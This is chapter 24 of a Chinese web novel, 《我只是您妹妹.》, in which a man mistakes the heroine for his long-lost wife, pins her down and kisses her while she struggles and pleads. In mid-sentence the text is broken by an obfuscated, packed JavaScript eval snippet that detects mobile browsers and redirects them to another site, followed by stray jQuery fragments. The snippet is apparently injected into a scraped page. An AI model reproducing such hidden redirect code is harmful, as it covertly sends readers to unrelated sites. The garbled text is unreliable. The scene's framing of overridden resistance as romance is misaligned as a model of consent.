24. 我的若儿
作品:《我只是您妹妹.》 时扬僵硬在被子里,大脑不能思考,像是被人钉入一枚钢钉,很久后,她缓缓转动脑袋,小心地往被子里看自己的身体,又借着那点火星子看商文载也衣着完好,这才吃了定心丸。
还好还好,要是两人真发生了什么关系,再被商文洛知道了,她肯定会吃不了兜着走。
时扬不由得想到商文洛那张与有荣焉的欠揍脸,心里犯了嘀咕:有什么了不起的……
正庆幸着,不服气着,头顶上方的“风流鬼”忽地动了一下,时扬以为他醒了,赶紧装模作样地闭上眼睛装睡。
不料对方只动了一下,仍然没起身。
他别是累糊涂了吧,怎么奇奇怪怪的……现在两人这姿势,到底算个什么事……
时扬动也尴尬,不动也尴尬,就这么不知所措地等着,等得屋内的火星子彻底熄灭,等得窗户外的天蒙蒙亮。
商文载给时扬吃的药起了作用,给她递的那杯水也起了作用。
时扬憋了好久,实在有点憋不住了,她一点点地歪了歪脑袋,想从商文载的臂弯里钻出去,身体刚往下一挪动,身上的人忽地闷哼一声,直接起身,把手撑在她身体两侧,将正要逃走的她圈得逃无可逃。
“文、文载哥,我想要去……”
还没说出的后半句话被他一下子凑近的一张脸堵在喉咙里,怎么也说不出来。“尿尿”两个字,要是面对着这样一张脸说出来,实在有点难为情。
商文载双眼如同幽深的潭水,一眼望不到底,那里面好像藏着另一个人,在时扬不得不迎上他的目光中做了法,让她无法控制地看向其中,进而就沉沦了进去。
时扬看着他眼中的另一个人,商文载也透过时扬看到了另一个人:时丛若,他的娘子,他的若儿……
他的眼眸死死锁着身下的时扬,好像要将她一分一毫都烙印在心头——可他看错了,将她的张皇、她的无措,看成了埋怨和恼怒。
于是乎,她的一双杏眼和那破旧道观中从屏风后探出来的女人,完完全全地重合到一起,也和他离家时他的若儿背过身前落下的幽怨一瞥一模一样。
他再不能保持清醒了。
不!先前的他原就不是清醒的,这会儿的他才是意识清明!
他不是旁的什么人,他是商文载,身下的人也不是别的什么不相干的人,她叫时丛若,她就是他的若儿。
他是她的夫君,她也只能是他的娘子。
时扬被他突如其来的动作吓得呆愣,她好不容易才从他眼眸中回过神来,正要侧过头躲避,就被他突然捧住双颊。
湿热温润的呼吸打在她脸上,越来越近,陌生,又不知道为什么感到一点熟悉,她没多想,越来越厉害地扭动身体,誓必要挣脱开。
可以牡丹花下死,但能不死就不死。
孤男寡女的,像什么话!
“哥,文载哥,你怎么了?别这样,我,我害怕……”
时扬带着祈求的询问没有半点奏效,商文载只当听不到,捧着她脸的手转而捏住了她的双颊,像是捏着两块豆腐,弹弹的,温温软软的,“豆腐”在他手里不断地变化形状,从他指缝之间溢出,又缩回他手心。
他捏得喜不自胜,满心欢喜,忽然想到什么,左手在她的闷哼声中抚上她的鼻尖,摸着那上面近乎看不见的一点点阴影。
果然是他的若儿!
她的鼻尖就长着一颗浅色的痣,每次恼了他时就背过身去,任他怎么道歉,怎么赔礼,怎么哄骗,就是不愿意看他。
他什么法子都用尽了也不奏效,就厚着脸皮爬到她身旁,将人圈在他臂弯里,蹭着她鼻尖,再温声细语地告饶。
自十岁来此世界后,她大概同他玩笑,起初她的一颦一笑还牢牢刻画在他心头,后每每在梦中梦见她一次,那张脸就越来越模糊。
他终于意识到,要是再不画下来,往后他恐怕连她一分一毫也想不起。
可她着实善于捉弄他,等到他提笔之时,她的眉眼顷刻间尽数模糊了……这些年来,除了那破败道观中她的一对泪眼,旁的,她一分一毫也不让他记起。
此刻,他终于想起来了,他的若儿原是长着一颗鼻尖痣的。
那一点点阴影在商文载的心头激起万千波澜壮阔,在他心间涤荡,让他感到越来越暖,喜得他浑身都开始微微颤抖。
他又将左手放回到时扬脸颊上,像重获至宝一样地捧着。
两人的呼吸交织到一处,像潺潺暖流,仿佛流过时扬的耳根,臊得她耳根子发烫,那暖流流经她的耳朵和锁骨,又经过她的腰侧,软了她半个身体。
她撑在他胸口的双手也跟着无力,明明想要推拒他,却变成了搭在他胸口,感受他胸前的热烈,反倒又增添几分说不清道不明的暧昧。
地上的炭火熄灭了,可商文载心头的炭火……好像又燃起来了。
他这会儿没再捏豆腐一样地捏她的脸蛋,只温柔地捧着,让她好歹再次有了说出话来的机会。
“文载哥,我——”
“你是不是若若?是不是……”他的脸凑得更低,快要贴在她脸上了。
“啊?”时扬又慌乱又感到莫名其妙,还是迷迷糊糊地肯定了,“啊,我是,但是——”
“若若,我的若儿……”
他问她,偏偏又不需要她回答,好像只是想要她出声,哪怕只要她讲出一个字,让他能确定身下的人并不是他的幻想,此时此刻他并不是在做梦就好了。
这时候的商文载和白天完全是两个人,他凑在时扬眼前的鼻尖、两人缠绕在一块儿的气息、他那双不知道为什么盛满了欣喜之色的眼睛……一切的一切都透着十分的诡异。
可诡异的不仅仅是商文载,连她时扬也变得不正常了,他像阴影一样把她困在身下,她明明可以挣脱,此刻却失心疯了一样,连挣扎也不挣扎了。
她大概是还在发烧吧,时扬想着。
“噗嗤!”商文载盯着她愣怔又愣怔,忽然笑出声。
这一笑唤醒了时扬的意识,她又开始猛地挣扎起来,想要结束这诡异的局面,但是她稍稍一起身,又被身上那人轻轻松松地按了回去。
“若儿……”商文载更加过分地抵住她的额头,用鼻尖蹭着时扬的鼻尖,含糊地说道,“我想了你二十余年,可算又见到你了……”
听着他的荒唐言论,时扬只瞪大了两只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074317|193818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杏眼,满眼慌乱无措。
她不知道要作何反应,对方却深谙此道,只见商文载喉结一动,脑袋微微往下一沉,就贴上了时扬的嘴唇。
嘴唇上的温热柔软之意一瞬间传到时扬全身,连脚指头也跟着蜷起,浑身更加无力,像是要化成一滩水,直接流入地面里。
他胸口的温度好像也变得更高,时扬更觉得手掌发烫,她猛地将手缩到身体两侧,不自觉地瞥了瞥解放了的左手。
这一瞥正好被商文载捕捉到,他心头不满,不满她竟然连这种时候也不专心,于是故意狠了心,在她下嘴唇上咬了一口。
“嘶——”时扬被他咬得痛呼出声,不过这一下彻底咬醒了她。
她两只脚胡乱地蹬他,身旁的双手也再次放到他胸口推距。
这次一定要推开他!
想不到他直接伸腿夹住了她乱蹬的双脚,一手撑在她身侧,一手直接死死攥住她两只冰冷的手,紧紧贴在他胸口。
“若儿……”
两人离得更近了。
她毕竟二十七八岁的人了,虽然没有经历过,但没吃过猪肉还没见过猪跑吗,这下不仅红了耳根,连脖子的颜色也红得化不开。
她一通挣扎非但没有脱困,反而换来个更尴尬的姿势,换来个更难看的局面,她又羞又恼,想要骂人,嘴巴偏偏还被上方的人堵着。
动手打不过,动嘴又不能,她气得半死,只能嘴里“呜呜”个不停。
商文载突然半抬起头,望着时扬灿然一笑,像春日里绽开的桃花。
时扬看花了眼,她还没来得及发出声,正在恍惚,眼前的阴影再次落下来,覆盖在她脸上。
商文载额头抵着她额头,鼻尖来回蹭她的鼻尖,像逗弄一只不小心走进了他房间的狸花猫,鼻尖的温热气息打在她脸上,又钻进她耳朵里,她身体软得像以前喝醉了酒。
时扬怕他再次不要脸地亲她,提前警觉地咬紧双唇。
“娘子……我的若儿……”他又嘟嘟囔囔地喊了几声。
什么娘子不娘子的,别是看电视剧看多了!可他这模样,看着也不像爱看电视剧的,更别提看什么爱情故事了。
难不成……真让小鬼附身了?
时扬猛地想起,有一次商文洛喝了罐啤酒倒下半拉身体,临到昏睡过去之前,还在嘀嘀咕咕说他哥,提到过什么小鬼缠身、命运多舛之类的屁话。
时扬早都不信这些东西,听了他狗屁不通、颠三倒四的故事,更觉得他封建不堪,年纪轻轻的,怎么迷信这些!
又看他一罐啤酒就醉成烂泥,双颊红得像猴子屁股,更加看不上。
她嗤笑一声,正要张口教育他:世界上是没有鬼的,除非……你心里有鬼!
“除非”二字才说出口,就听“咚”的一声,商文洛瘫倒在了桌子底下。
啤酒罐咕噜咕噜转动几圈儿,一转眼就不知道滚到了屋子里哪个角落……
不会、不会真有鬼吧……
时扬咽了咽干涩的嗓子,满脸苦涩地望着还在她脸上胡作非为的商文载,她有点信了,信世界上真的有小鬼,是会取人心魄、摄人灵魂的恶鬼,才不是什么风流鬼!

